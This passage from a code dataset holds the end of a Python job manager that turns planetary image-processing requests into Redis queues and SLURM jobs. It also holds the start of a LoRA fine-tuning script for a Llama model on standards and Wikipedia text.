str\n Otherwise return 'info.find('.//EquatorialRadius').text'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//EquatorialRadius') is None:\n return None\n else:\n return info.find('.//EquatorialRadius').text\n\n def getPRadius(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//PolarRadius')' is None\n str\n Otherwise return 'info.find('.//PolarRadius').text'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//PolarRadius') is None:\n return None\n else:\n return info.find('.//PolarRadius').text\n\n def getLatType(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//LatitudeType')' is None\n str\n Otherwise return 'LT'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//LatitudeType') is None:\n return None\n else:\n temp_LT = info.find('.//LatitudeType').text\n if temp_LT == 'planetocentric':\n LT = 'Planetocentric'\n elif temp_LT == 'planetographic':\n LT = 'Planetographic'\n return LT\n\n def getLonDirection(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//LongitudeDirection')' is None\n str\n Otherwise return 'LD'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//LongitudeDirection') is None:\n return None\n else:\n temp_LD = info.find('.//LongitudeDirection').text\n if temp_LD == 'POSITIVEEAST':\n LD = 'PositiveEast'\n elif temp_LD == 'POSITIVEWEST':\n LD = 'PositiveWest'\n return LD\n\n def getLonDomain(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//LongitudeDomain')' is None\n str\n otherwise return 'info.find('.//LongitudeDomain').text'\n \"\"\"\n for info in self.root.iter('Target'):\n if info.find('.//LongitudeDomain') is None:\n return None\n else:\n return info.find('.//LongitudeDomain').text\n\n def getProjection(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'proj' is None\n str\n Otherwise 'info.find('ProjName').text'\n \"\"\"\n for info in self.root.iter('Projection'):\n proj = info.find('ProjName').text\n if proj is None:\n return None\n else:\n return info.find('ProjName').text\n\n def getClon(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'clon' is None\n str\n Otherwise 'info.find('CenterLongitude').text'\n \"\"\"\n for info in self.root.iter('Projection'):\n clon = info.find('CenterLongitude')\n if clon is None:\n return None\n else:\n return info.find('CenterLongitude').text\n\n def getClat(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'clat' is None\n str\n Otherwise 'info.find('CenterLatitude').text'\n \"\"\"\n for info in self.root.iter('Projection'):\n clat = info.find('CenterLatitude')\n if clat is None:\n return None\n else:\n return info.find('CenterLatitude').text\n\n def getFirstParallel(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//FirstStandardParallel')' is None\n str\n Otherwise 'info.find('.//FirstStandardParallel').text'\n \"\"\"\n for info in self.root.iter('Projection'):\n if info.find('.//FirstStandardParallel') is None:\n return None\n else:\n return info.find('.//FirstStandardParallel').text\n\n def getSecondParallel(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//SecondStandardParallel')' is None\n str\n Otherwise 'info.find('.//SecondStandardParallel').text'\n \"\"\"\n for info in self.root.iter('Projection'):\n if info.find('.//SecondStandardParallel') is None:\n return None\n else:\n return info.find('.//SecondStandardParallel').text\n\n def OutputGeometry(self):\n \"\"\"\n Returns\n -------\n NoneType\n None if 'info' is None\n bool\n True if 'info' is not None\n \"\"\"\n for info in self.root.iter('OutputGeometry'):\n if info is None:\n return None\n elif info is not None:\n return True\n\n def getRangeType(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//extentType')' is None\n str\n Otherwise 'info.find('.//extentType').text'\n \"\"\"\n for info in self.root.iter('extents'):\n if info.find('.//extentType') is None:\n return None\n else:\n return info.find('.//extentType').text\n\n def getMinLat(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//MinLatitude')' is None\n str\n Otherwise 'info.find('.//MinLatitude').text'\n \"\"\"\n for info in self.root.iter('extents'):\n if info.find('.//MinLatitude') is None:\n return None\n else:\n return info.find('.//MinLatitude').text\n\n def getMaxLat(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//MaxLatitude')' is None\n str\n Otherwise 'info.find('.//MaxLatitude').text'\n \"\"\"\n for info in self.root.iter('extents'):\n if info.find('.//MaxLatitude') is None:\n return None\n else:\n return info.find('.//MaxLatitude').text\n\n def getMinLon(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//MinLongitude')' is None\n str\n Otherwise 'info.find('.//MinLongitude').text'\n \"\"\"\n for info in self.root.iter('extents'):\n if info.find('.//MinLongitude') is None:\n return None\n else:\n return info.find('.//MinLongitude').text\n\n def getMaxLon(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//MaxLongitude')' is None\n str\n Otherwise 'info.find('.//MaxLongitude').text'\n \"\"\"\n for info in self.root.iter('extents'):\n if info.find('.//MaxLongitude') is None:\n return None\n else:\n return info.find('.//MaxLongitude').text\n\n def getResolution(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//OutputResolution')' is None\n str\n Otherwise 'info.find('.//OutputResolution').text'\n \"\"\"\n for info in self.root.iter('OutputOptions'):\n if info.find('.//OutputResolution') is None:\n return None\n else:\n return info.find('.//OutputResolution').text\n\n def getGridInterval(self):\n \"\"\"\n Returns\n -------\n NoneType\n 'None' if 'info.find('.//interval')' is None\n str\n Otherwise 'info.find('.//interval').text'\n \"\"\"\n for info in self.root.iter('grid'):\n if info.find('.//interval') is None:\n return None\n else:\n return info.find('.//interval').text\n\n def getOutBit(self):\n \"\"\"\n Returns\n -------\n str\n 'input' if 'info.find('.//BitType')' is None,\n otherwise 'info.find('.//BitType').text'\n \"\"\"\n for info in self.root.findall('.//OutputType'):\n if info.find('.//BitType') is None:\n return 'input'\n else:\n return info.find('.//BitType').text\n\n def getOutFormat(self):\n \"\"\"\n Returns\n -------\n str\n outputFormat\n \"\"\"\n for info in self.root.findall('.//OutputType'):\n outputFormat = info.find('.//Format').text\n return outputFormat\n\n def STR_Type(self):\n \"\"\"\n Returns\n -------\n NoneType\n None\n str\n 'StretchPercent', 'HistogramEqualization', 'GaussStretch',\n \"SigmaStretch'\n \"\"\"\n for info in self.root.findall('.//Process'):\n if info.find('.//stretch') is None:\n return None\n elif info.find('.//StretchPercent') is not None:\n return 'StretchPercent'\n elif info.find('.//HistogramEqualization') is not None:\n return 'HistogramEqualization'\n elif info.find('.//GaussStretch') is not None:\n return 'GaussStretch'\n elif info.find('.//SigmaStretch') is not None:\n return 'SigmaStretch'\n\n def STR_PercentMin(self):\n \"\"\"\n Returns\n -------\n NoneType\n None\n str\n info.find('.//min').text\n \"\"\"\n for info in self.root.findall('.//Process'):\n if info.find('.//min') is None:\n return None\n else:\n return info.find('.//min').text\n\n def STR_PercentMax(self):\n \"\"\"\n Returns\n -------\n NoneType\n None\n str\n info.find('.//max').text\n \"\"\"\n for info in self.root.findall('.//Process'):\n if info.find('.//max') is None:\n return None\n else:\n return info.find('.//max').text\n\n def STR_GaussSigma(self):\n \"\"\"\n Returns\n -------\n str\n info.find('.//gsigma').text\n \"\"\"\n for info in self.root.findall('.//Process'):\n return info.find('.//gsigma').text\n\n def STR_SigmaVariance(self):\n \"\"\"\n Returns\n -------\n str\n info.find('.//variance').text\n \"\"\"\n for info in self.root.findall('.//Process'):\n return info.find('.//variance').text\n\n def getBand(self):\n for info in self.root.iter('bands'):\n testband = info.findall('.//bandfilter')\n print(len(testband))\n for test in testband:\n print(\"test\")\n print(test.text)\n\n def getFileListWB(self):\n \"\"\"\n Returns\n -------\n list\n listArray\n \"\"\"\n listArray = []\n for info in self.root.iter('ImageUrl'):\n fileUrl = info.find('url').text\n testband = info.findall('.//bandfilter')\n if len(testband) == 1:\n fileout = fileUrl + \"+\" + testband[0].text\n elif len(testband) == 3:\n fileout = fileUrl + \"+\" + \\\n testband[0].text + \",\" + \\\n testband[1].text + \",\" + testband[2].text\n else:\n fileout = fileUrl\n\n listArray.append(fileout)\n\n return listArray\n\n def getMFileListWB(self):\n \"\"\"\n Returns\n -------\n list\n listArray\n \"\"\"\n listArray = []\n for info in self.root.iter('ImageList'):\n Mfile = info.find('.//internalpath').text\n testband = info.findall('.//band')\n if len(testband) == 1:\n fileout = Mfile + \"+\" + testband[0].text\n elif len(testband) == 3:\n fileout = Mfile + \"+\" + \\\n testband[0].text + \",\" + \\\n testband[1].text + \",\" + testband[2].text\n else:\n fileout = Mfile\n\n listArray.append(fileout)\n\n return listArray\n\n def getFileList(self):\n \"\"\"\n Returns\n -------\n list\n listArray\n \"\"\"\n listArray = []\n for info in self.root.iter('ImageUrl'):\n fileUrl = info.find('url').text\n listArray.append(fileUrl)\n\n return listArray\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Service job manager')\n parser.add_argument('--key',\n '-k',\n dest='key',\n help=\"Target key -- if blank, process first element in queue\")\n parser.add_argument('--namespace',\n '-n',\n dest='namespace',\n help=\"Queue namespace\")\n parser.add_argument('--norun',\n help=\"Set up queues and write out SBATCH script, but do not submit it to SLURM\",\n action=\"store_true\")\n\n args = parser.parse_args()\n return args\n\n\ndef main(user_args):\n key = user_args.key\n norun = user_args.norun\n namespace = user_args.namespace\n\n if namespace is None:\n namespace = default_namespace\n\n # Set up logging\n logger = logging.getLogger(key)\n logger.setLevel(logging.INFO)\n\n logFileHandle = logging.FileHandler(pds_log + 'Service.log')\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s, %(message)s')\n logFileHandle.setFormatter(formatter)\n logger.addHandler(logFileHandle)\n RQ_lock = RedisLock(lock_obj)\n RQ_lock.add({'Services':'1'})\n\n if not RQ_lock.available('Services'):\n exit()\n\n # Connect to database and access 'jobs' table\n DBQO = PDS_DBquery('JOBS')\n if key is None:\n # If no key is specified, grab the first key\n try:\n key = DBQO.jobKey()\n try:\n key = key.decode('utf-8')\n except:\n pass\n # If the queue is empty, it'll throw a type error.\n except TypeError:\n logger.debug('No keys found in clusterjobs database')\n exit(1)\n try:\n # Set the 'queued' column to current time i.e. prep for processing\n DBQO.setJobsQueued(key)\n except KeyError as e:\n logger.error('%s', e)\n exit(1)\n\n logger.info('Starting Process')\n\n xmlOBJ = jobXML(DBQO.jobXML4Key(key))\n\n # Make directory if it doesn't exist\n directory = scratch + key\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n logger.info('Working Area: %s', directory)\n\n\n # Set up Redis Hash for ground range\n RedisH = RedisHash(key + '_info')\n RedisH.RemoveAll()\n RedisErrorH = RedisHash(key + '_error')\n RedisErrorH.RemoveAll()\n RedisH_DICT = {}\n RedisH_DICT['service'] = xmlOBJ.getProcess()\n RedisH_DICT['fileformat'] = xmlOBJ.getOutFormat()\n RedisH_DICT['outbit'] = xmlOBJ.getOutBit()\n if xmlOBJ.getRangeType() is not None:\n RedisH_DICT['grtype'] = xmlOBJ.getRangeType()\n RedisH_DICT['minlat'] = xmlOBJ.getMinLat()\n RedisH_DICT['maxlat'] = xmlOBJ.getMaxLat()\n RedisH_DICT['minlon'] = xmlOBJ.getMinLon()\n RedisH_DICT['maxlon'] = xmlOBJ.getMaxLon()\n\n if RedisH.IsInHash('service'):\n pass\n else:\n RedisH.AddHash(RedisH_DICT)\n if RedisH.IsInHash('service'):\n logger.info('Redis info Hash: Success')\n else:\n logger.error('Redis info Hash Not Found')\n\n # End ground range\n\n RQ_recipe = RedisQueue(key + '_recipe', namespace)\n RQ_recipe.RemoveAll()\n RQ_file = RedisQueue(key + '_FileQueue', namespace)\n RQ_file.RemoveAll()\n RQ_WorkQueue = RedisQueue(key + '_WorkQueue', namespace)\n RQ_WorkQueue.RemoveAll()\n RQ_loggy = RedisQueue(key + '_loggy', namespace)\n RQ_loggy.RemoveAll()\n RQ_zip = RedisQueue(key + '_ZIP', namespace)\n RQ_zip.RemoveAll()\n\n if xmlOBJ.getProcess() == 'POW':\n fileList = xmlOBJ.getFileListWB()\n elif xmlOBJ.getProcess() == 'MAP2':\n fileList = xmlOBJ.getMFileListWB()\n\n for List_file in fileList:\n\n # Input and output file naming and path stuff\n if xmlOBJ.getProcess() == 'POW':\n if xmlOBJ.getInst() == 'THEMIS_IR':\n Input_file = List_file.replace('odtie1_', 'odtir1_')\n Input_file = Input_file.replace('xxedr', 'xxrdr')\n Input_file = Input_file.replace('EDR.QUB', 'RDR.QUB')\n Input_file = Input_file.replace(\n 'http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n elif xmlOBJ.getInst() == 'ISSNA':\n Input_file = List_file.replace('.IMG', '.LBL')\n Input_file = Input_file.replace(\n 'http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n elif xmlOBJ.getInst() == 'ISSWA':\n Input_file = List_file.replace('.IMG', '.LBL')\n Input_file = Input_file.replace(\n 'http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n elif xmlOBJ.getInst() == 'SOLID STATE IMAGING SYSTEM':\n Input_file = List_file.replace('.img', '.lbl')\n Input_file = Input_file.replace(\n 'http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n else:\n Input_file = List_file.replace(\n 'http://pdsimage.wr.usgs.gov/Missions/', archive_base)\n\n elif xmlOBJ.getProcess() == 'MAP2':\n Input_file = List_file.replace('file://pds_san', '/pds_san')\n\n if '+' in Input_file:\n tempsplit = Input_file.split('+')\n tempFile = tempsplit[0]\n else:\n tempFile = Input_file\n label = pvl.load(tempFile)\n # Output final file naming\n Tbasename = os.path.splitext(os.path.basename(tempFile))[0]\n splitBase = Tbasename.split('_')\n\n labP = xmlOBJ.getProjection()\n if labP == 'INPUT':\n lab_proj = label['IsisCube']['Mapping']['ProjectionName'][0:4]\n else:\n lab_proj = labP[0:4]\n\n if xmlOBJ.getClat() is None or xmlOBJ.getClon() is None:\n basefinal = splitBase[0] + splitBase[1] + \\\n splitBase[2] + '_MAP2_' + lab_proj.upper()\n else:\n lab_clat = float(xmlOBJ.getClat())\n if lab_clat >= 0:\n labH = 'N'\n elif lab_clat < 0:\n labH = 'S'\n lab_clon = float(xmlOBJ.getClon())\n\n basefinal = splitBase[0] + splitBase[1] + splitBase[2] + '_MAP2_' + str(\n lab_clat) + labH + str(lab_clon) + '_' + lab_proj.upper()\n RedisH.MAPname(basefinal)\n\n try:\n RQ_file.QueueAdd(Input_file)\n logger.info('File %s Added to Redis Queue', Input_file)\n except Exception as e:\n logger.warn('File %s NOT Added to Redis Queue', Input_file)\n print('Redis Queue Error', e)\n RedisH.FileCount(RQ_file.QueueSize())\n logger.info('Count of Files Queue: %s', str(RQ_file.QueueSize()))\n\n # Map Template Stuff\n logger.info('Making Map File')\n mapOBJ = MakeMap()\n\n if xmlOBJ.getProcess() == 'MAP2' and xmlOBJ.getProjection() == 'INPUT':\n proj = label['IsisCube']['Mapping']['ProjectionName']\n mapOBJ.Projection(proj)\n else:\n mapOBJ.Projection(xmlOBJ.getProjection())\n\n if xmlOBJ.getClon() is not None:\n mapOBJ.CLon(float(xmlOBJ.getClon()))\n if xmlOBJ.getClat() is not None:\n mapOBJ.CLat(float(xmlOBJ.getClat()))\n if xmlOBJ.getFirstParallel() is not None:\n mapOBJ.FirstParallel(float(xmlOBJ.getFirstParallel()))\n if xmlOBJ.getSecondParallel() is not None:\n mapOBJ.SecondParallel(float(xmlOBJ.getSecondParallel()))\n if xmlOBJ.getResolution() is not None:\n mapOBJ.PixelRes(float(xmlOBJ.getResolution()))\n if xmlOBJ.getTargetName() is not None:\n mapOBJ.Target(xmlOBJ.getTargetName())\n if xmlOBJ.getERadius() is not None:\n mapOBJ.ERadius(float(xmlOBJ.getERadius()))\n if xmlOBJ.getPRadius() is not None:\n mapOBJ.PRadius(float(xmlOBJ.getPRadius()))\n if xmlOBJ.getLatType() is not None:\n mapOBJ.LatType(xmlOBJ.getLatType())\n if xmlOBJ.getLonDirection() is not None:\n mapOBJ.LonDirection(xmlOBJ.getLonDirection())\n if xmlOBJ.getLonDomain() is not None:\n mapOBJ.LonDomain(int(xmlOBJ.getLonDomain()))\n\n if xmlOBJ.getProcess() == 'MAP2':\n if xmlOBJ.getMinLat() is not None:\n mapOBJ.MinLat(float(xmlOBJ.getMinLat()))\n if xmlOBJ.getMaxLat() is not None:\n mapOBJ.MaxLat(float(xmlOBJ.getMaxLat()))\n if xmlOBJ.getMinLon() is not None:\n mapOBJ.MinLon(float(xmlOBJ.getMinLon()))\n if xmlOBJ.getMaxLon() is not None:\n mapOBJ.MaxLon(float(xmlOBJ.getMaxLon()))\n\n mapOBJ.Map2pvl()\n\n MAPfile = directory + \"/\" + key + '.map'\n mapOBJ.Map2File(MAPfile)\n\n try:\n f = open(MAPfile)\n f.close\n logger.info('Map File Creation: Success')\n except IOError as e:\n logger.error('Map File %s Not Found', MAPfile)\n\n # ** End Map Template Stuff **\n\n logger.info('Building Recipe')\n recipeOBJ = Recipe()\n if xmlOBJ.getProcess() == 'POW':\n recipeOBJ.AddJsonFile(recipe_base + xmlOBJ.getCleanName() + '.json', \"pow\")\n elif xmlOBJ.getProcess() == 'MAP2':\n recipeOBJ.AddJsonFile(recipe_base + \"map2_process.json\", \"map\")\n # Test for stretch and add to recipe\n # if MAP2 and 8 or 16 bit run stretch to set range\n\n if xmlOBJ.getOutBit() == 'input':\n testBitType = str(label['IsisCube']['Core']['Pixels']['Type']).upper()\n else:\n testBitType = xmlOBJ.getOutBit().upper()\n\n if xmlOBJ.getProcess() == 'MAP2' and xmlOBJ.STR_Type() is None:\n if str(label['IsisCube']['Core']['Pixels']['Type']).upper() != xmlOBJ.getOutBit().upper() and str(label['IsisCube']['Core']['Pixels']['Type']).upper() != 'REAL':\n if str(label['IsisCube']['Core']['Pixels']['Type']).upper() == 'SIGNEDWORD':\n strpairs = '0:-32765 0:-32765 100:32765 100:32765'\n elif str(label['IsisCube']['Core']['Pixels']['Type']).upper() == 'UNSIGNEDBYTE':\n strpairs = '0:1 0:1 100:254 100:254'\n\n STRprocessOBJ = Process()\n STRprocessOBJ.newProcess('stretch')\n STRprocessOBJ.AddParameter('from_', 'value')\n STRprocessOBJ.AddParameter('to', 'value')\n STRprocessOBJ.AddParameter('usepercentages', 'yes')\n STRprocessOBJ.AddParameter('pairs', strpairs)\n recipeOBJ.AddProcess(STRprocessOBJ.getProcess())\n\n strType = xmlOBJ.STR_Type()\n if strType == 'StretchPercent' and xmlOBJ.STR_PercentMin() is not None and xmlOBJ.STR_PercentMax() is not None and testBitType != 'REAL':\n if float(xmlOBJ.STR_PercentMin()) != 0 and float(xmlOBJ.STR_PercentMax()) != 100:\n if testBitType == 'UNSIGNEDBYTE':\n strpairs = '0:1 ' + xmlOBJ.STR_PercentMin() + ':1 ' + \\\n xmlOBJ.STR_PercentMax() + ':254 100:254'\n elif testBitType == 'SIGNEDWORD':\n strpairs = '0:-32765 ' + xmlOBJ.STR_PercentMin() + ':-32765 ' + \\\n xmlOBJ.STR_PercentMax() + ':32765 100:32765'\n\n STRprocessOBJ = Process()\n STRprocessOBJ.newProcess('stretch')\n STRprocessOBJ.AddParameter('from_', 'value')\n STRprocessOBJ.AddParameter('to', 'value')\n STRprocessOBJ.AddParameter('usepercentages', 'yes')\n STRprocessOBJ.AddParameter('pairs', strpairs)\n recipeOBJ.AddProcess(STRprocessOBJ.getProcess())\n\n elif strType == 'GaussStretch':\n STRprocessOBJ = Process()\n STRprocessOBJ.newProcess('gaussstretch')\n STRprocessOBJ.AddParameter('from_', 'value')\n STRprocessOBJ.AddParameter('to', 'value')\n STRprocessOBJ.AddParameter('gsigma', xmlOBJ.STR_GaussSigma())\n recipeOBJ.AddProcess(STRprocessOBJ.getProcess())\n\n elif strType == 'HistogramEqualization':\n STRprocessOBJ = Process()\n STRprocessOBJ.newProcess('histeq')\n STRprocessOBJ.AddParameter('from_', 'value')\n STRprocessOBJ.AddParameter('to', 'value')\n if xmlOBJ.STR_PercentMin() is None:\n STRprocessOBJ.AddParameter('minper', '0')\n else:\n STRprocessOBJ.AddParameter('minper', xmlOBJ.STR_PercentMin())\n if xmlOBJ.STR_PercentMax() is None:\n STRprocessOBJ.AddParameter('maxper', '100')\n else:\n STRprocessOBJ.AddParameter('maxper', xmlOBJ.STR_PercentMax())\n recipeOBJ.AddProcess(STRprocessOBJ.getProcess())\n\n elif strType == 'SigmaStretch':\n STRprocessOBJ = Process()\n STRprocessOBJ.newProcess('sigmastretch')\n STRprocessOBJ.AddParameter('from_', 'value')\n STRprocessOBJ.AddParameter('to', 'value')\n STRprocessOBJ.AddParameter('variance', xmlOBJ.STR_SigmaVariance())\n recipeOBJ.AddProcess(STRprocessOBJ.getProcess())\n\n\n # Test for output bit type and add to recipe\n if xmlOBJ.getProcess() == 'POW':\n if xmlOBJ.getOutBit().upper() == 'UNSIGNEDBYTE' or xmlOBJ.getOutBit().upper() == 'SIGNEDWORD':\n CAprocessOBJ = Process()\n CAprocessOBJ.newProcess('cubeatt-bit')\n CAprocessOBJ.AddParameter('from_', 'value')\n CAprocessOBJ.AddParameter('to', 'value')\n recipeOBJ.AddProcess(CAprocessOBJ.getProcess())\n elif xmlOBJ.getProcess() == 'MAP2':\n if xmlOBJ.getOutBit().upper() != 'INPUT':\n if xmlOBJ.getOutBit().upper() == 'UNSIGNEDBYTE' or xmlOBJ.getOutBit().upper() == 'SIGNEDWORD':\n if str(label['IsisCube']['Core']['Pixels']['Type']).upper() != xmlOBJ.getOutBit().upper():\n CAprocessOBJ = Process()\n CAprocessOBJ.newProcess('cubeatt-bit')\n CAprocessOBJ.AddParameter('from_', 'value')\n CAprocessOBJ.AddParameter('to', 'value')\n recipeOBJ.AddProcess(CAprocessOBJ.getProcess())\n\n # Add Grid(MAP2)\n if xmlOBJ.getGridInterval() is not None:\n GprocessOBJ = Process()\n GprocessOBJ.newProcess('grid')\n GprocessOBJ.AddParameter('from_', 'value')\n GprocessOBJ.AddParameter('to', 'value')\n GprocessOBJ.AddParameter('latinc', xmlOBJ.getGridInterval())\n GprocessOBJ.AddParameter('loninc', xmlOBJ.getGridInterval())\n GprocessOBJ.AddParameter('outline', 'yes')\n GprocessOBJ.AddParameter('boundary', 'yes')\n GprocessOBJ.AddParameter('linewidth', '3')\n recipeOBJ.AddProcess(GprocessOBJ.getProcess())\n\n # OUTPUT FORMAT\n # Test for GDAL and add to recipe\n Oformat = xmlOBJ.getOutFormat()\n if Oformat == 'GeoTiff-BigTiff' or Oformat == 'GeoJPEG-2000' or Oformat == 'JPEG' or Oformat == 'PNG':\n if Oformat == 'GeoJPEG-2000':\n Oformat = 'JP2KAK'\n if Oformat == 'GeoTiff-BigTiff':\n Oformat = 'GTiff'\n GDALprocessOBJ = Process()\n GDALprocessOBJ.newProcess('gdal_translate')\n if xmlOBJ.getOutBit() != 'input':\n GDALprocessOBJ.AddParameter(\n '-ot', GDALprocessOBJ.GDAL_OBit(xmlOBJ.getOutBit()))\n GDALprocessOBJ.AddParameter('-of', Oformat)\n\n if Oformat == 'GTiff' or Oformat == 'JP2KAK' or Oformat == 'JPEG':\n GDALprocessOBJ.AddParameter(\n '-co', GDALprocessOBJ.GDAL_Creation(Oformat))\n\n recipeOBJ.AddProcess(GDALprocessOBJ.getProcess())\n # set up pds2isis and add to recipe\n elif Oformat == 'PDS':\n pdsProcessOBJ = Process()\n pdsProcessOBJ.newProcess('isis2pds')\n pdsProcessOBJ.AddParameter('from_', 'value')\n pdsProcessOBJ.AddParameter('to', 'value')\n if xmlOBJ.getOutBit() == 'unsignedbyte':\n pdsProcessOBJ.AddParameter('bittype', '8bit')\n elif xmlOBJ.getOutBit() == 'signedword':\n pdsProcessOBJ.AddParameter('bittype', 's16bit')\n\n recipeOBJ.AddProcess(pdsProcessOBJ.getProcess())\n\n for item in recipeOBJ.getProcesses():\n processOBJ = Process()\n processOBJ.ProcessFromRecipe(item, recipeOBJ.getRecipe())\n\n if item == 'cam2map':\n\n processOBJ.updateParameter('map', MAPfile)\n\n if xmlOBJ.getResolution() is None:\n processOBJ.updateParameter('pixres', 'CAMERA')\n else:\n processOBJ.updateParameter('pixres', 'MAP')\n\n if xmlOBJ.getRangeType() is None:\n processOBJ.updateParameter('defaultrange', 'MINIMIZE')\n elif xmlOBJ.getRangeType() == 'smart' or xmlOBJ.getRangeType() == 'fill':\n processOBJ.updateParameter('defaultrange', 'CAMERA')\n processOBJ.AddParameter('trim', 'YES')\n\n elif item == 'map2map':\n processOBJ.updateParameter('map', MAPfile)\n if xmlOBJ.getResolution() is None:\n processOBJ.updateParameter('pixres', 'FROM')\n else:\n processOBJ.updateParameter('pixres', 'MAP')\n\n if xmlOBJ.OutputGeometry() is not None:\n processOBJ.updateParameter('defaultrange', 'MAP')\n processOBJ.AddParameter('trim', 'YES')\n else:\n processOBJ.updateParameter('defaultrange', 'FROM')\n\n processJSON = processOBJ.Process2JSON()\n try:\n RQ_recipe.QueueAdd(processJSON)\n logger.info('Recipe Element Added to Redis: %s : Success', item)\n except Exception as e:\n logger.warn('Recipe Element NOT Added to Redis: %s', item)\n\n # HPC job stuff\n logger.info('HPC Cluster job Submission Starting')\n jobOBJ = HPCjob()\n jobOBJ.setJobName(key + '_Service')\n jobOBJ.setStdOut(slurm_log + key + '_%A_%a.out')\n jobOBJ.setStdError(slurm_log + key + '_%A_%a.err')\n jobOBJ.setWallClock('24:00:00')\n jobOBJ.setMemory('24576')\n jobOBJ.setPartition('pds')\n JAsize = RQ_file.QueueSize()\n jobOBJ.setJobArray(JAsize)\n logger.info('Job Array Size : %s', str(JAsize))\n\n # @TODO replace with source activate \n #jobOBJ.addPath('/usgs/apps/anaconda/bin')\n\n # Whether or not we use the default namespace, this guarantees that the POW/MAP queues will match the namespace\n # used in the job manager.\n if xmlOBJ.getProcess() == 'POW':\n cmd = cmd_dir + \"pow_process.py -k {} -n {}\".format(key, namespace)\n elif xmlOBJ.getProcess() == 'MAP2':\n cmd = cmd_dir + \"map_process.py -k {} -n {}\".format(key, namespace)\n\n logger.info('HPC Command: %s', cmd)\n jobOBJ.setCommand(cmd)\n\n SBfile = directory + '/' + key + '.sbatch'\n jobOBJ.MakeJobFile(SBfile)\n\n try:\n sb = open(SBfile)\n sb.close\n logger.info('SBATCH File Creation: Success')\n except IOError as e:\n logger.error('SBATCH File %s Not Found', SBfile)\n\n\n if norun:\n logger.info('No-run mode, will not submit HPC job.')\n else:\n try:\n jobOBJ.Run()\n logger.info('Job Submission to HPC: Success')\n DBQO.setJobsStarted(key)\n except IOError as e:\n logger.error('Jobs NOT Submitted to HPC')\n\n\nif __name__ == \"__main__\":\n sys.exit(main(parse_args()))\n","repo_name":"AustinSanders/PDS-Pipelines","sub_path":"pds_pipelines/service_job_manager.py","file_name":"service_job_manager.py","file_ext":"py","file_size_in_byte":35434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"19302970028","text":"## Outdated\n\n# import loralib as lora\n# import lora_utils.insert_lora\nfrom transformers import AutoModelForSeq2SeqLM\nfrom peft import get_peft_config, get_peft_model, get_peft_model_state_dict, LoraConfig, TaskType\n\nfrom transformers import AutoTokenizer, AutoModel\nfrom datasets import load_dataset, concatenate_datasets\nfrom transformers import DataCollatorForLanguageModeling\nfrom transformers import AutoModelForCausalLM, TrainingArguments, Trainer\nimport torch\nimport paths\n\ntorch.cuda.empty_cache()\n\nconfiguration = {\n \"peft_mode\": \"Lora\",\n \"data_size\": 0.0001,\n \"block_size\": 64,\n \"batch_size\": 16,\n \"gradient_accumulation_steps\": 4\n}\nname = \"yu-nomi/llama-wiki-standards\"\nrevision = str(configuration[\"peft_mode\"]) \\\n + \"_D\" + str(configuration[\"data_size\"]) \\\n + \"_Bl\" + str(configuration[\"block_size\"]) \\\n + \"_Ba\" + str(configuration[\"batch_size\"]) \\\n + \"_Ga\" + str(configuration[\"gradient_accumulation_steps\"])\nprint(name)\nprint(revision)\n\npeft_config = LoraConfig(task_type=TaskType.CAUSAL_LM,\n inference_mode=False,\n r=8,\n lora_alpha=32,\n lora_dropout=0.1)\n\nprint(\"model\")\n# model = AutoModelForCausalLM.from_pretrained(paths.llama_checkpoint, trust_remote_code=True, token=paths.annie_read_token)\nmodel = AutoModelForCausalLM.from_pretrained(paths.llama_local_checkpoint, device_map=\"auto\", load_in_4bit=True, torch_dtype=torch.bfloat16)\nmodel = get_peft_model(model, peft_config)\nmodel.print_trainable_parameters()\n\nprint(\"datasets\")\nmax_size = 1000000\nsmall_size = int(max_size * configuration[\"data_size\"])\nstandards_dataset = load_dataset(paths.standards_dataset_checkpoint,\n split=\"train[:\" + str(9*small_size) + \"]\",\n token=paths.nomi_read_token)\nwiki_dataset = load_dataset(paths.wikipedia_dataset_checkpoint,\n split=\"train[:\" + str(small_size) + \"]\",\n token=paths.nomi_read_token)\ndataset = concatenate_datasets([standards_dataset, wiki_dataset])\n\ndataset = dataset.train_test_split(test_size=0.2)\ndataset = dataset.flatten()\n\nprint(\"tokenizer\")\n# tokenizer = AutoTokenizer.from_pretrained(paths.llama_checkpoint, trust_remote_code=True, token=paths.annie_read_token)\ntokenizer = AutoTokenizer.from_pretrained(paths.llama_local_checkpoint, use_fast=True)\ntokenizer.pad_token = tokenizer.eos_token #\"\"\ntokenizer.padding_side = \"right\"\n\n\nnum_proc = 128 # increasing increases overhead and decreases processing time. FInd equillibrium\n\ndef preprocess_function(examples):\n return tokenizer([\" \".join(x) for x in examples[\"text\"]])\n\ntokenized_dataset = dataset.map(\n preprocess_function,\n batched=True,\n num_proc=num_proc,\n remove_columns=dataset[\"train\"].column_names,\n)\n\nblock_size = configuration[\"block_size\"]\n\ndef group_texts(examples):\n # Concatenate all texts.\n 